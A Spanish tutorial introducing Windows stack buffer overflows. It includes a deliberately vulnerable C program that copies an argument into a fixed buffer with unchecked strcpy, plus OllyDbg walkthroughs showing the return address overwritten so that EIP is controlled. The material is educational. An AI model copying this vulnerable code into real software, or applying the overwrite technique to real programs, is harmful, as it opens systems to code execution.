*****************************************
* EXPLOITS Y STACK OVERFLOWS EN WINDOWS *
* Rojodos rojodos2[at]yahoo[dot]es      * 
*****************************************

Naaas :)

Visto el "miedo" que se tiene al tema de los exploits y los buffers overflows, 
que parece algo mstico, y que cada dos por tres un script kiddie pregunta en el 
foro como compilar un exploit, como funciona un exploit o donde encuentro un 
exploit, me he decidido a hacer un taller de buffers overflows y exploits, en 
Windows :)

Tambin veremos como crear una shellcode muy muy bsica, muy explicadita, para 
que se entienda perfectamente.

Quizs, si el tema tiene xito, hagamos otro sobre Linux, aunque son bastante 
parecidos, en Linux la cosa cambia en muchos aspectos.

Este documento esta basado en muchos que hay por la red, los cuales estn al 
final del mismo, y de la aportacin de muchos usuarios en diversos foros, listas 
de correo y como no, de exploits.

Es mi primer texto "en serio", adems es bastante largo, y aunque creo que no 
contiene errores muy graves, puede tenerlos :P cualquier fallo del texto, 
comentario, opinin, amenaza, donacin, oferta de trabajo, etc... al correo :) 
(abstenerse gilipolleces)

Vamos al tema :)

-== INTRODUCCION ==-

La teora sobre el tema la iremos viendo segn avance el documento, aunque antes 
de nada, haremos unas definiciones muy simples. La idea de dichas definiciones 
es saber "lo bsico", ya que este texto esta dirigido a iniciados, no a gente 
que ya domina el tema, aqu no vera nada nuevo, pero es imprescindible buscar 
por Internet mucha mas informacin (sobre todo lo referente a programar en C/C++ 
y ASM)

- C/C++

Es un lenguaje de programacin muy extendido, multiplataforma, y fcil. Es la 
base de nuestros sistemas operativos(salvo cosas en ensamblador como rutinas de 
boot) y es tremendamente potente y optimizado. Sus archivos bsicos son *.c y 
*.cpp (para los C++). Es el lenguaje ms recomendable para aprender, el ms 
til.

- Ensamblador (ASM)

Es el lenguaje ms "bsico" que permite al programador interactuar con el CPU. 
Las instrucciones en ASM se pasan a binario, que es lo que "entiende" la CPU, es 
decir, 1s y 0s (aunque se agrupan en cadenas hexadecimales para mayor claridad). 
Realmente, un compilador ASM lo nico que hace es calcularte las etiquetas, los 
saltos y los calls, y "encapsular" el ejecutable. Todos los lenguajes de 
programacin, a la hora de compilar (obviamente, los lenguajes de script no), 
convierten su cdigo en instrucciones ASM.

Instrucciones en ASM (Intel) son por ejemplo mov, push, pop, etc....(En AT&T, 
seria popl, movl, pushl, etc..) Es un lenguaje de programacin difcil de 
aprender, solo para cosas puntuales o que requieran una gran optimizacin, pero 
saberlo te dar muchas alegras :) Cualquier informtico debera poder entender 
y dominar las instrucciones bsicas.

- Debugger (Depurador)

Un debugger es un programa que permite ir "paso a paso", instruccin a 
instruccin a otro programa. Al ir instruccin a instruccin, podemos ver 
completamente que esta pasando, los registros, la memoria, etc, as como muchas 
mas funciones muy interesantes. Su funcin principal es la de auditar cdigo, y 
ver el porque falla (o simplemente porque no realiza lo que queremos que haga), 
es una herramienta imprescindible para cualquier programador. Lo que pasa que 
tambin puede servir para otras cosas :)

- Dissasembler (Desamblador)

Un desamblador es un programa que te muestra el cdigo de un programa, una dll, 
lo que sea que este hecho de cdigo que el desamblador entienda. Normalmente, te 
muestra su cdigo en ASM (por ejemplo, un programa codeado en C, te muestra la 
conversin de dichas instrucciones C en ASM), aunque hay desambladores que 
permiten ver su cdigo (o parte de el) de programas hechos en JAVA o VBasic, por 
ejemplo. 

Normalmente, debugger y dissasembler van en el mismo programa, los mas usados 
son el Ollydbg (el que usare aqu), Softice, IDA, Win32dasm...

- Hex Editor (Editor Hexadecimal)

No hay que confundir un dissasembler con un hex editor. El primero te muestra el 
cdigo de un programa, el hex editor simplemente te muestra el contenido de un 
archivo, del tipo que sea, como un dumpeo hexadecimal y/o binario, as como la 
posibilidad de modificar y guardar dicho archivo. Se usa para rastrear y 
modificar archivos que usan programas, tanto para fines "de programacin" (el 
porque al cargar el archivo falla, el porque no se escribe bien, etc...) como de 
"hacking" o "cracking".

A mi, personalmente, me gusta mucho el Hackman, pero se que hay mucho mejores :P 
Cuestin de buscar.

- La CPU (microprocesador)

La CPU es el "corazn" de un ordenador. Es la unidad de hardware encargada de 
ejecutar las instrucciones de un programa o sistema operativo, instruccin a 
instruccin, que estn en una determinada rea de memoria. Se ayuda de registros 
donde almacena variables, datos o direcciones. Una explicacin completa sobre el 
tema, requerira uno o varios libros, aunque googleando se encuentra muchsima 
informacin.

- Registros de la CPU.

La cpu (microprocesador) contiene una serie de registros, donde almacena 
variables, datos o direcciones de las operaciones que esta realizando en este 
momento. El lenguaje ASM se sirve de dichos registros como variables de los 
programas y rutinas, haciendo posible cualquier programa (de longitudes 
considerables, claro). Los ms interesantes son:

EIP Extended Instruction Pointer.

El registro EIP siempre apunta a la siguiente direccin de memoria que el 
procesador debe ejecutar. La CPU se basa en secuencias de instrucciones, una 
detrs de la otra, salvo que dicha instruccin requiera un salto, una 
llamada...al producirse por ejemplo un "salto", EIP apuntara al valor del salto, 
ejecutando las instrucciones en la direccin que especificaba el salto. Si 
logramos que EIP contenga la direccin de memoria que queramos, podremos 
controlar la ejecucin del programa, si tambin controlamos lo que haya en esa 
direccin. 

EAX, EBX... ESI, EDI...

Son registros multipropsito para usarlo segn el programa, se pueden usar de 
cualquier forma y para alojar cualquier direccin, variable o valor, aunque cada 
uno tiene funciones "especificas" segn las instrucciones ASM del programa:

EAX:
Registro acumulador. Cualquier instruccin de retorno, almacenara dicho valor en 
EAX. Tambin se usa para sumar valores a otros registros en funciones de suma, 
etc.... 

EBX

Registro base. Se usa como "manejador" o "handler" de ficheros, de direcciones 
de memoria (para luego sumarles un offset) etc... 

ECX

Registro contador. Se usa, por ejemplo, en instrucciones ASM loop como contador, 
cuando ECX llega a cero, el loop se acaba.

EDX

Registro direccin o puntero. Se usa para referenciar a direcciones de memoria 
mas el offset, combinado con registros de segmento (CS, SS, etc..)

ESI y EDI

Son registros anlogos a EDX, se pueden usar para guardar direcciones de 
memoria, offsets, etc..

CS, SS, ES y DS

Son registros de segmento, suelen apuntar a una cierta seccin de la memoria. Se 
suelen usar Registro+Offset para direccionar a una direccin concreta de 
memoria. Los mas usados son CS, que apunta al segmento actual de direcciones que 
esta ejecutando EIP, SS, que apunta a la pila y DS, que apunta al segmento de 
datos actual. ES es "multipropsito", para lo mismo, referenciar direcciones de 
memoria, y un largo etc...

ESP EBP

Extended Stack Pointer y Extender Base Pointer. Ambos los veremos ms en 
profundidad cuando explique la pila. 
Sirven para manejar la pila, referenciando la "cima" (ESP) y la "base" (EBP). 
ESP siempre contiene la direccin del inicio de la pila (la cima) que esta 
usando el programa o hilo (thread) en ese momento. Cada programa usara un 
espacio de la pila distinto, y cada hilo del programa tambin. EBP seala la 
direccin del final de la pila de ese programa o hilo.

- Que es una vulnerabilidad?

Una vulnerabilidad es un fallo que compromete la seguridad del programa o 
sistema. Aunque se le asocia tambin a "bug" (fallo), pero no es lo mismo. Un 
bug es un fallo de cualquier tipo, desde que un juego no funcione bien porque 
vaya lento, a un programa que funciona mal al intentar hacer una divisin por 0. 
Las vulnerabilidades son bugs de seguridad, que pueden comprometer el sistema o 
el programa, permitiendo al "hacker" ejecutar cdigo arbitrario, detener el 
sistema o aprovecharse del mismo para sacar cualquier tipo de beneficio.

- Que es un exploit?

Un exploit es un cdigo, un "mtodo", un programa, que realiza una accin contra 
un sistema o programa que tiene una vulnerabilidad, "explotndola", y sacando un 
beneficio de la misma. Dicho beneficio normalmente es la ejecucin de cdigo 
(dentro de ese programa, con los privilegios del mismo) que nos beneficia, 
dndonos por ejemplo una contrasea, o dndonos una shell de comandos, aadir un 
usuario administrador al sistema, o incluso lo nico que hacen es detener el 
servicio o el sistema, segn nuestros propsitos.

Habra que distinguir entre exploits "completos" (los que estn completamente 
funcionales) y los POCs (proof of concept) que son exploits que demuestran que 
dicha vulnerabilidad existe y que es explotable, pero que no dan ningn 
beneficio o el beneficio es mnimo. Normalmente se usan estos ltimos para 
evitar el uso de los mismos por niatos (script kiddies) o para evitar gusanos 
(supongo que se acuerdan del blaster o del sasser, se liberaron los exploits 
completamente funcionales)

- Que es una shellcode?

Una shellcode es un cdigo bsico en ASM, muy corto generalmente, que ejecuta 
los comandos que queremos, como system("cmd.exe") (ejecuta una shell msdos en 
windows); o execv("/bin/sh") (ejecuta una shell sh en Linux/Unix), o sirve 
para aadir un usuario a la cuenta del sistema, para descargar un troyano y 
ejecutarlo, para dejar abierto un puerto conectado a una shell, etc.... Es el 
cdigo que ejecutara el programa vulnerable una vez tengamos su control. No es 
nada difcil de programar sabiendo ASM bsico y como funciona tu SO.

Una vez programada en ASM (para testearla, por ejemplo, adems de que es mas 
fcil programarla en ASM que directamente con opcodes :P), se pasa a un string, 
compuesto por los opcodes (codigos de operacion, en hexadecimal) de dichas 
instrucciones ASM. Lo veremos mas adelante :)

- Que es un overflow?

Un overflow es, bsicamente, cuando resguardamos espacio de memoria insuficiente 
para una variable (allocate), y le introducimos ms datos a dicha variable de 
los que puede soportar. La variable "desborda", y los datos que no caben 
sobrescriben memoria continua a dicha variable. Si declaramos una variable que 
solo debe soportar 8bytes, si le movemos 10bytes, los 2bytes restantes no se 
pierden, sino que sobrescriben la memoria contigua a dicha variable.

Hay distintos tipos de overflow, stack overflow (el que veremos aqu, tambin 
llamado buffer overflow, o desbordamiento de buffer, etc...), heap overflow (ya 
lo veremos en algn otro texto, se refiere a desbordar una variable declarada en 
el heap en vez de en la pila...), format string overflow (bugs de formato de las 
cadenas de texto), integer overflow (debidos a declaraciones de variables con un 
espacio mnimo o negativo que proveemos nosotros...), etc...

- Porque se le llama Stack Overflow?

La pila (stack) es una estructura tipo LIFO, Last In, First Out, ultimo en 
entrar, primero en salir. Pensad en una pila de libros, solo puedes aadir y 
quitar libros por la "cima" de la pila, por donde los aades. El libro de mas 
"abajo", ser el ultimo en salir, cuando se vace la pila. Si tratas de quitar 
uno del medio, se puede desmoronar. 

Bien, pues el SO (tanto Windows como Linux, como los Unix o los Macs) se basa en 
una pila para manejar las variables locales de un programa, los retornos (rets) 
de las llamadas a una funcin (calls), las estructuras de excepciones (SEH, 
en Windows), argumentos, variables de entorno, etc...

Por ejemplo, para llamar a una funcin cualquiera, que necesite dos argumentos, 
se mete primero el argumento 2 en la pila del sistema, luego el argumento 1, y 
luego se llama a la funcin.

Si el sistema quiere hacer una suma (5+2), primero introduce el 2 argumento en 
la pila (el 2), luego el 1 argumento (el 5) y luego llama a la funcin suma. 

Bien, una "llamada" a una funcin o direccin de memoria, se hace con la 
instruccin ASM Call. Call direccin (llamar a la direccin)  call registro 
(llama a lo que contenga ese registro). El registro EIP recoge dicha direccin, 
y la siguiente instruccin a ejecutar esta en dicha direccin, hemos "saltado" a 
esa direccin.

Pero antes, el sistema debe saber que hacer cuando termine la funcin, por donde 
debe seguir ejecutando cdigo. 
El programa puede llamara  la funcin suma, pero con el resultado, hacer una 
multiplicacin, o simplemente mostrarlo por pantalla. Es decir, la CPU debe 
saber por donde seguir la ejecucin una vez terminada la funcin suma.

Para eso sirve la pila :) Justo al ejecutar el call, se GUARDA la direccin de 
la siguiente instruccin en la pila. 
Esa instruccin se denomina normalmente RET o RET ADDRESS, direccin de 
"retorno" al programa principal (o a lo que sea).

Entonces, el call se ejecuta, se guarda la direccin, coge los argumentos de la 
suma, se produce la suma y, como esta guardada la direccin por donde iba el 
programa, VUELVE (RETORNA) a la direccin de memoria que haba guardada 
en la pila (el ret), es decir, a la direccin siguiente del call.

Vamos a verlo por pasos :)

1 Llegamos al call (EIP apunta a la instruccin call)
2 Se ejecuta el call. EIP apunta a la instruccin del call, es decir, donde 
debemos ir)
3 Se guarda la siguiente instruccin despus del call en la pila (el ret)

En ese momento, la pila esta as:
ESP           | RET ADDRESS |   EBP -8bytes
ESP +4bytes   | argumento 1 |   EBP -4bytes
ESP +8bytes   | argumento 2 |   <--- EBP apunta aqu (la base de la pila)

4 La cpu ejecuta la/las instrucciones dentro de la funcin suma (obviamente, 
dentro de la funcin suma se usara la pila para almacenar datos y dems...)
5 La funcin suma alcanza la instruccin RETN (retorno), y EIP recoge la 
direccin RET ADDRESS, y vuelve al programa principal, justo despus del call 
suma.

Espero que se entienda, es muy importante, ya que un stack overflow significa 
introducir suficientes datos en la pila, hasta poder sobrescribir dicho ret 
address, pero eso lo veremos mas adelante.

Imaginaos que al hacer ese call, dentro de la funcin suma necesitamos un 
espacio para alojar por ejemplo, el resultado, o uno de los operandos, lo que 
sea.

Bien, cuando el programa o el SO piden "espacio" para alojar una/s variable/s, 
un dato, un nombre o lo que sea, dicho nombre normalmente se guarda en la pila 
(no entraremos en temas de heap).

Bsicamente, lo que se hace es crear un "espacio" entre un nuevo ESP y EBP (cima 
y base de la pila) para alojar las variables. Son "nuevos" para no sobrescribir 
los variables y valores que ya haya en la pila, de otras funciones o programas.

Posteriormente, se introduce el EBP antiguo en la pila (se pushea), para saber 
DONDE estaba la anterior base de la pila, la pila del proceso principal. Esto 
tambin es importante, es el EBP salvado del proceso anterior. Cuando la funcin 
suma acabe, EBP tomara el valor del EBP salvado, y estaremos otra vez en el 
"trozo" de pila del proceso principal.

Ahora mismo, la pila esta as:

ESP             | EBP anterior salvado |       EBP - 4
ESP +4bytes     | RET ADDRESS          |       <---- El EBP actual apunta aqu
ESP +8bytes     | argumento 1 de suma  |       EBP +4
ESP +12bytes    | argumento 2 de suma  |       EBP + 8

Tras esto, se "sustrae", se "resta" a ESP tantos bytes como necesitemos de 
espacio para nuestra variable. Al sustraerle bytes, la diferencia entre ESP y 
EBP son esos bytes, donde irn nuestros datos (nombre, datos, lo que sea). Por 
ejemplo, si nuestra variable "nombre", necesita 12 bytes (siempre se hace con 
mltiplos de 4, por temas de alineamiento en la pila), pues se le sustrae a ESP 
12 bytes:

ESP            | basura, aun no hay nada inicializado| EBP -16  
ESP +4         | basura                              | EBP -12   
ESP +8         | basura                              | EBP -8
ESP +12        | EBP anterior salvado                | EBP -4
ESP +16        | RET ADDRESS                         | EBP (el EBP no cambia)
ESP +20        | argumento 1 de suma                 | EBP +4
ESP +24        | argumento 2 de suma                 | EBP +8               

Como se ve, hay 4+4+4 bytes de basura (basura quiere decir que son datos que 
haba antes ah, de anteriores usos de la pila, pero que no nos sirven) para 
nuestro nombre o lo que sea, de 12 bytes.

Pero, si esos bytes no son suficientes, al introducir nuestro nombre por 
ejemplo, si solo tenemos espacio para 12 bytes (12 caracteres), y introducimos 
14, los 2 bytes que sobran, sobrescribirn la memoria contigua a la declarada en 
la variable, es decir, sobrescribirn el EBP de la anterior funcin, si metemos 
4 lo sobrescribiremos completamente:

Introducimos AAA...A  (16 As) para ver que pasa (esto no se hara con push, que 
aumentan ESP, sino con instrucciones MOV)

ESP            | AAAA                                    | EBP -16  
ESP +4         | AAAA                                    | EBP -12   
ESP +8         | AAAA                                    | EBP -8
ESP +12        | (EBP anterior salvado sobrescrito) AAAA | EBP -4
ESP +16        | RET ADDRESS                             | EBP 
ESP +20        | argumento 1 de suma                     | EBP +4
ESP +24        | argumento 2 de suma                     | EBP +8

Y si le metemos otras 4 AAAA, sobrescribiremos el ret, que es lo que nos 
interesa :)

Bien, pasemos a la prctica real, donde se vera todo mucho mejor explicado :)

-== EJEMPLO CODIGO VULNERABLE A STACK OVERFLOW ==-

Hache esta el tpico tpico tpico cdigo de stack overflow. Cualquiera que haya 
ledo un doc sobre buffer overflow, habr visto un cdigo semejante (sino igual) 
a este.

Y, como todos los tutoriales sobre programacin empiezan con el "Hola Mundo", yo 
empezare con el cdigo tpico vulnerable :)

El cdigo esta comentado (//) para que entendis cada lnea:

/* vuln1.c por Rojodos */

#include <stdio.h>  // librera stdio.h, funciones bsicas de Entrada/Salida

int main (int argc, char **argv){  // La funcin "principal" del programa 
funcin
	char buffer[64]; //Declaramos un array con 64 bytes de espacio
	if (argc < 2){  // Si los argumentos son menores que 2...
		printf ("Introduzca un argumento al programa\n"); //Printeamos	
		return 0;  // y retornamos 0 a la funcin main, y el programa acaba
        }
	strcpy (buffer, argv[1]); // Aqui es donde esta el fallo.

	return 0;  // Devolvemos 0 a main, y el programa acaba.
}


El fallo esta en la funcin strcpy. Esa funcin copiara lo que hayamos metido 
por argumentos al programa (argv[1]) dentro de la variable buffer. Pero buffer 
solo tiene espacio para 64 caracteres, no hay ningn chequeo de tamao de la 
fuente (eso se hace por ejemplo, con la funcin mas segura strncpy), y por 
argumentos al programa le podemos meter lo que queramos.

Si lo compilamos (con cualquier compilador C/C++ en Windows, recomiendo Dev Cpp 
o Visual C++), generamos el archivo vuln1.exe

Al ejecutarlo en una consola MSDOS as:

Microsoft Windows XP [Versin 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

F:\Rojodos\manual exploits>vuln1 AAAAA(Muchas AAAAs, mas de 64)AAAAAAAAAAA....

Os saldr la tpica ventanita de que vuln1.exe ha detectado un problema y debe 
cerrarse. Si pinchis en "Para ver los datos de los errores, haga click aqu", 
veris que pone "Offset:41414141". "A" en hexadecimal es 41 (mirad la tabla en 
www.asciitable.com). Es decir, hemos sobrescrito la direccin de retorno de MAIN 
() (no de strcpy, pues la direccin de strcpy va ANTES de la variable buffer en 
la pila, ya que primero se declara buffer, y luego se llama a strcpy, con lo que 
la variable buffer esta "debajo", en direcciones mas altas, de strcpy en la 
pila) con AAAA --> 41414141 :)

Esto lo podemos ver mucho mejor en un debugger, como el Ollydbg (en 
www.elhacker.net lo encontraras fcilmente, o en su pagina principal, googlead 
un poco)

Usar un debugger, y mas el olly, es realmente fcil, no tiene ningn misterio. 
Si alguien se cree que es una herramienta para "elites" y sper difcil de usar, 
esta completamente equivocado.

Bien, con el olly, cargamos el programa (File -> Open -> vuln1.exe). Veris que 
salen un montn de instrucciones en la ventana principal, con la direccin 
relativa de cdigo inicial de 00401000. Esta direccin es la direccin base del 
ejecutable en memoria (00400000, el 99% de los ejecutables se carga en esa 
direccin) mas el offset sealado en el PE header, que indica donde empieza el 
cdigo (entry point, en este caso el offset es +1000h).

Tambin deberais ver a vuestra derecha, el estado de los registros de la CPU, 
EAX, EBX...ESI, EDI, EBP, ESP y EIP, y los valores que contienen. Abajo a la 
izquierda, deberais ver el dumpeo en hexadecimal, cosa que no usaremos, y abajo 
a la derecha, la pila (stack). Ah tenis que tener la vista casi fija :)

Una vez cargado el ejecutable (se os abrir una ventanita de MS-DOS, pero que no 
sale nada, no os preocupis, el programa esta cargado en memoria, pero no se 
esta ejecutando aun),le metemos los argumentos (copiamos todas las AAAs 
que hay mas arriba en el texto, y nos vamos a Debug -> Arguments, y las copiamos 
ah). Os dir que tenemos que resetear el programa para que los argumentos 
tengan efecto (nos vamos a Debug-> Restart). Y listo :)

Le damos a RUN (Debug -> Run  F9) y....

Access violation when executing [41414141]

Fijaros en el valor de EIP (ventana de los registros del CPU). EIP = 41414141 Ha 
tratado de ejecutar lo que hay en la direccin "AAAA" :)

Vamos a ver esto un poco mas "pausado", para ver como funciona realmente.

Hacemos un Restart (Debug->Restart) y vuelve el programa a su estado inicial 
(los argumentos siguen siendo las AAAs que metimos, no hay que cambiarlo). Esta 
vez vamos a poner un breakpoint en la funcin de strcpy, para ver en directo 
que esta pasando. 

Un breakpoint es un "punto de ruptura", que indica al debugger que cuando la 
ejecucin llegue ah (cuando el registro EIP seale la direccin de memoria 
donde hemos puesto el BP), se pare la ejecucin (NO SE EJECUTA LA INSTRUCCION 
SEALADA CON EL BP), para echar un vistazo, a ver que esta pasando :)

Bajamos un poco por el cdigo, hasta que encontramos algo as:

004012CD  |. 68 80124000    PUSH vuln1.00401280                      ; /format = 
"Introduzca un argumento al programa"
004012D2  |. E8 79170000    CALL <JMP.&msvcrt.printf>                ; \printf
004012D7  |. 83C4 10        ADD ESP,10
004012DA  |. EB 17          JMP SHORT vuln1.004012F3
004012DC  |> 83EC 08        SUB ESP,8
004012DF  |. 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]
004012E2  |. 83C0 04        ADD EAX,4
004012E5  |. FF30           PUSH DWORD PTR DS:[EAX]                  ; /src
004012E7  |. 8D45 B8        LEA EAX,DWORD PTR SS:[EBP-48]            ; |
004012EA  |. 50             PUSH EAX                                 ; |dest
004012EB  |. E8 50170000    CALL <JMP.&msvcrt.strcpy>                ; \strcpy
004012F0  |. 83C4 10        ADD ESP,10


Os explico antes de nada, que es cada "cosa". 004012XX es la direccin relativa 
de memoria donde esta el ejecutable. 

Es decir, su direccin relativa en la RAM. Como ya he dicho, todos los 
ejecutables cargados en memoria, empiezan en 00400000+offset del entry point 
(que normalmente es 1000h, osea, el punto inicial en la memoria de inicio del 
cdigo del programa es 00401000h). EIP va cogiendo cada direccin, una detrs de 
otra, y la CPU ejecuta la instruccin contenida en esa direccin.

68 80124000 --> Son los "opcodes" de la instruccin ASM, mas o menos como decir 
que es la instruccin ASM convertida en hexadecimal (mas bien de binario 
01010.. a hexadecimal, para que lo podamos comprender mucho mejor). Esto nos 
vendr bien para que hagamos nuestra shellcode :)

PUSH vuln1.00401280  --> instrucciones en ASM, en este caso esta introduciendo 
en la pila la direccin del ejecutable (seccin .data) donde esta el string 
"Introduzca un..."

Lo dems, es una "ayuda" del ollydbg, que te puede decir por ejemplo que estas 
introduciendo en la pila (format="Introduzca..."), o a que estas llamando (CALL 
<JMP.&msvcrt.printf>   ; \printf), etc....

Bien, el printf ese, es el cdigo que se ejecuta si no le metemos argumentos al 
programa, no nos tiene porque interesar (es el cdigo que se ejecuta cuando no 
metemos argumentos al programa)

Pero si esto:

004012EB  |. E8 50170000    CALL <JMP.&msvcrt.strcpy>                ; \strcpy
004012F0  |. 83C4 10        ADD ESP,10

Aqu se produce la llamada a la funcin vulnerable (llama a la DLL msvcrt.dll, 
donde esta la funcin C strcpy) y si os fijis, la siguiente direccin a 
ejecutar es 004012F0   ADD ESP,10. Cuando se produzca el Call strcpy, se 
pusheara en la pila 004012F0, que es la direccin de retorno (ret address).

Para verlo, pondremos un breakpoint en la llamada a strcpy. Pulsis con el ratn 
en esa direccin, y pulsis F2. Se tendra que iluminar de rojo esa direccin.

Pues tras ponerle el BP, le damos a RUN (F9)

El programa se detiene antes de ejecutar esa instruccin (fijaos que ahora, 
aparte de rojo, aparece con un cuadro negro la direccin de memoria, significa 
que esa es la siguiente direccin a ejecutar). Por si no nos ha quedado claro, 
EIP marca precisamente esa direccin, 004012EB

Que hay en la pila?

0022FF00   0022FF28  |dest = 0022FF28
0022FF04   003D24A3  \src = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAAAAAs) 
AAAAAAAAAAAAAAAA"

ESP apunta a 0022FF00, donde vemos el destino (0022FF28, que es la direccin de 
la variable buffer en la pila, mas "abajo", osea en direcciones mas altas). Y 
"src" (source -> fuente) es lo que vamos a copiar en el destino, 0022FF28. 
Esta referenciado por 003D24A3, que precisamente es la direccin de argv[1], 
donde comienza la cadena "AAAAA....". 
Sigamos.

Que hay en 0022FF28? Pues espacio "reservado" para la variable buffer. Sin 
embargo, vemos algo as:

0022FF28  |FFFFFFFF  <-- Empiezan los 64 bytes reservados para buffer, es basura
0022FF2C  |77BFAB33  RETURN to msvcrt.77BFAB33 from msvcrt.77C054FD  <-- Basura
0022FF30  |77C09348  RETURN to msvcrt.77C09348 from msvcrt.free <-- Basura
0022FF34  |003D25A8  <-- Basura
0022FF38  |003D2470  <-- ..
0022FF3C  |0000000C  <-- ...
0022FF40  |77C08A55  RETURN to msvcrt.77C08A55 from msvcrt.77C09292 <--basura
0022FF44  |004D7EF9
0022FF48  |0012D548
0022FF4C  |7FFDF000   <-- Todo esto hasta abajo siguie siendo basura
0022FF50  |000000ED
0022FF54  |00000003
0022FF58  |0022FF60
0022FF5C  |77BEE921  RETURN to msvcrt.77BEE921 from msvcrt.77C089C2 <--basura
0022FF60  |0022FFA0
0022FF64  |004010C0  RETURN to vuln1.004010C0 from <JMP.&msvcrt.__getmainargs> 
0022FF68  |00403000  vuln1.00403000 <-- basura...
0022FF6C  |00403004  vuln1.00403004 <--- AQUI terminan los 64 bytes reservados 
para buffer (incluido)
0022FF70  ]0022FFA0  <-- EBP salvado del anterior proceso (main)
0022FF74  |00401170  RETURN to vuln1.00401170 from vuln1.004012A6  <-- direccin 
de retorno de main()


Si os fijis, justo debajo de donde terminan los 64 bytes reservados para buffer 
(todo lo que hay es basura, de anteriores funciones y tal, que no se van a 
volver a usar), esta el EBP anterior salvado (el EBP de la funcin main, 
la base de SU pila) y debajo esta la direccin de retorno de la funcin main. 
Veis que esta en la direccin 0022FF74, y que apunta a la instruccin 00401170. 
Cuando la funcin main() del programa termina, se ejecuta lo que haya en 
esa direccin.

Y que hay ah?

00401170  |. 89C3           MOV EBX,EAX                              ; |
00401172  |. E8 59180000    CALL <JMP.&msvcrt._cexit>                ; 
|[msvcrt._cexit
00401177  |. 891C24         MOV DWORD PTR SS:[ESP],EBX               ; |
0040117A  \. E8 51190000    CALL <JMP.&KERNEL32.ExitProcess>         ; 
\ExitProcess

Una llamada a exit en msvcrt.dll y posteriormente una llamada a la API 
ExitProcess dentro de Kernel32.dll, el programa termina.

Fcil no?

Bueno, estamos parados justo antes de entrar en el strcpy. Para no tener que ir 
saltando por la DLL (lo que hara seria ir instruccin por instruccin de como 
trabaja strcpy() en la msvcrt.dll), en vez de pulsar F7 (que ENTRARIAMOS en el 
CALL), le damos a F8, que "salta" a la siguiente instruccin sin entrar en el 
CALL. (Es decir, el call se ejecuta as como todas las instrucciones que 
conlleva, pero nosotros no lo vemos, el programa se para justo despus de 
terminar la funcin strcpy). Si pulsis F9 (Run), el programa terminara con el 
fallo famoso, y no veremos nada, as que pulsad F8.

Ahora se ha ejecutado la funcin strcpy, se han copiado todas las AAAs al 
buffer, y estamos justo debajo de la llamada a Strcpy():


004012EB  |. E8 50170000    CALL <JMP.&msvcrt.strcpy>                ; \strcpy
004012F0  |. 83C4 10        ADD ESP,10       <--- Estamos aqu

EIP apunta a 004012F0, es la siguiente instruccin que se va a ejecutar.

Miremos la pila:


0022FF00   0022FF28  ASCII "14AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas 
AAAAs) AAAAAAAAAAAAAAAAAAA"
0022FF04   003D24A3  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas 
AAAAs) AAAAAAAAAAAAAAAAAAA"
0022FF08   0022FF70  ASCII "AAAAAAAAAAAAAAAAAAAAAA(muchas AAAAs) 
AAAAAAAAAAAAAAAAAAAAAAAA"
0022FF0C   004012C4  RETURN to vuln1.004012C4 from vuln1.004013D0
0022FF10   77BE2048  msvcrt.77BE2048
0022FF14   0022FEF8
0022FF18   77BFAC19  RETURN to msvcrt.77BFAC19 from msvcrt.77C054FD
0022FF1C   0022FFE0  ASCII "AAAAAAAAAAAAA"
0022FF20   77C03EB0  msvcrt._except_handler3
0022FF24   00000000
0022FF28   41414141  <-- Aqui empieza la variable buffer
0022FF2C   41414141
0022FF30   41414141
0022FF34   41414141
0022FF38   41414141
0022FF3C   41414141
0022FF40   41414141
0022FF44   41414141
0022FF48   41414141
0022FF4C   41414141
0022FF50   41414141
0022FF54   41414141
0022FF58   41414141
0022FF5C   41414141
0022FF60   41414141
0022FF64   41414141
0022FF68   41414141
0022FF6C   41414141 <--- Aqu terminaban los 64 bytes de tamao de buffer. A 
partir de aqu hemos hecho el overflow.
0022FF70   41414141 <--- EBP salvado del anterior proceso, sobrescrito con AAAA
0022FF74   41414141 <--- Antigua direccin del ret del main () sobrescrito con 
AAAA
0022FF78   41414141
0022FF7C   41414141
0022FF80   41414141
0022FF84   41414141 

Hay muchas cosas en la pila (fijaos por donde han entrado) derivadas del uso del 
strcpy:

0022FF00   0022FF28  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas 
AAAAs) AAAAAAAAAAAAAAAAAAA"

La direccion 0022FF00 contiene la direccin de la pila (0022FF28) donde empieza 
la variable buffer, donde empiezan todas nuestras AAAAs...

0022FF04   003D24A3  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas 
AAAAs) AAAAAAAAAAAAAAAAAAA"

La direccin 0022FF04 contiene la direccin en el HEAP (memoria dinmica) de la 
variable argv[1], donde estn las AAAs que introducimos por argumento al 
programa.

0022FF08   0022FF70  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) 
AAAAAAAAAAAA"

La direccin 0022FF08 contiene la direccin del antiguo EBP del main, que ahora 
esta sobrescrito con AAAAs...

Y mas cosas que no vienen al caso, pero como veis, hemos sobrescrito la 
direccin de retorno del main (), la que llamaba a finalizar el proceso (Hemos 
sobrescrito mucho ms :P, pero bueno.... as se ve mejor).

Eso que quiere decir?

Si vemos nuestro programita principal, justo despus del call (la ejecucin ha 
vuelto al programa principal):


004012EB  |. E8 50170000    CALL <JMP.&msvcrt.strcpy>                ; \strcpy
004012F0  |. 83C4 10        ADD ESP,10    <--- Estamos aqu parados  (EIP = 
004012F0)
004012F3  |> B8 00000000    MOV EAX,0
004012F8  |. C9             LEAVE
004012F9  \. C3             RETN   <-- cuando llegue aqu....

Cuando llegue a ejecutar el RETN (antes de ejecutarlo), veremos que EBP vale 
41414141, ya que era la "base" de la pila del anterior proceso, en este caso 
main() (se salva para delimitar los "trozos" de pila que corresponden a cada 
funcin, como ya he dicho) y que ESP ha "disminuido" debido al ADD ESP, 10 y al 
LEAVE y que  ahora apunta a 0022FF74.

0022FF74   41414141 <--- Antigua direccin del ret del main () A partir de aqu 
hemos hecho el overflow.

Al ejecutar el RETN, EIP "recoger" la direccin que apunta ESP (0022FF74) que 
debera ser la direccin de la llamada a ExitProcess(), pero que en este caso es 
41414141 porque la hemos sobrescrito.

La CPU tratara de ejecutar lo que haya en 41414141, que esta fuera del segmento 
de usuario, y petara :)

